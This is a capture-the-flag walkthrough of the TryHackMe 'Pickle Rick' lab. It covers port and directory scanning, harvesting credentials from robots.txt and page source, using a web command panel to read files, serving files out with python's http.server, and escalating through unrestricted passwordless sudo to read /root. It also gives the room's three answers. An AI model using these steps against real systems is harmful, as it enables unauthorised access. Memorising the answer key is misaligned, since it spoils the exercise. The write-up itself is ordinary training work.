TryHackMe Pickle Rick





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IP Addresses:

Target/Victim Machine

export IP=10.10.208.135

10.10.208.135 (Ubuntu)

Attacker Machine

10.17.35.235 (Ubuntu 23.10)

Reconnaissance:

Nmap Scan

nmap -sV \$IP -o nmap.log

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu

80/tcp open http Apache httpd 2.4.18

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Gobuster Scan

gobuster dir -u \$IP --wordlist ~/tools/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,css,js,py,xml,sh -o gobuster.log

```
/.htaccess
                   (Status: 403) [Size: 297]
/.hta
                   (Status: 403) [Size: 292]
/.htpasswd
                   (Status: 403) [Size: 297]
/assets
                   (Status: 301) [Size: 315]
/index.html
                  (Status: 200) [Size: 1062]
                   (Status: 200) [Size: 882]
/login.php
                   (Status: 302) [Size: 0] [--> /login.php]
/portal.php
/robots.txt
                   (Status: 200) [Size: 17]
/server-status
                   (Status: 403) [Size: 301]
                    (Status: 403) [Size: 292]
/.php
```

Robots.txt

curl \$IP/robots.txt

Wubbalubbadubdub

• Web app source code

curl \$IP

Found comment - Username: R1ckRul3s

Attempting login (\$IP/login.php):

User: R1ckRul3s

Password: Wubbalubbadubdub

Login successful as user www-data!

Exploring web app:

Webpage allows a basic command execution panel.

• Executing commands

```
Sup3rS3cretPickl3Ingred.txt
    assets
    clue.txt
    denied.php
    index.html
    login.php
    portal.php
    robots.txt
   pwd
    /var/www/html
 cat command doesn't work. Trying less
   less clue.txt
    Look around the file system for the other ingredient.
   less Sup3rS3cretPickl3Ingred.txt
    mr. meeseek hair
Alternative approach
   which python3
    /usr/bin/python3
   python3 -m http.server
 Now, on local machine:
   wget $IP:8000/clue.txt && wget $IP:8000/Sup3rS3cretPickl3Ingred.txt
   cat clue.txt
    Look around the file system for the other ingredient.
   cat Sup3rS3cretPickl3Ingred.txt
```

```
mr. meeseek hair
```

NOTE: The machine stops responding to the web pages once the python3 server starts. So the machine needs to be terminated and started again, when using this method.

THM Questions:

• Q1: What is the first ingredient that Rick needs?

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A: mr. meeseek hair
```

Further enumeration:

Executing commands

```
Is -I /home/rick
```

```
-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
```

less /home/rick/second\ ingredients

```
1 jerry tear
```

THM Questions:

• Q2: What is the second ingredient in Rick's potion?

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A: 1 jerry tear
```

Further enumeration:

Trying to find if we can execute sudo

```
sudo -l
```

```
Matching Defaults entries for www-data on ip-10-10-64-136.eu-west-
1.compute.internal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bi
```

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n\:/snap/bin

User www-data may run the following commands on ip-10-10-64-136.eu-west-
1.compute.internal:
(ALL) NOPASSWD: ALL
```

User www-data can use sudo for all commands without a password.

• Finding the third ingredient

sudo ls /root

3rd.txt
snap

sudo less /root/3rd.txt

3rd ingredients: fleeb juice

THM Questions:

• Q3: What is the last and final ingredient?

A: fleeb juice

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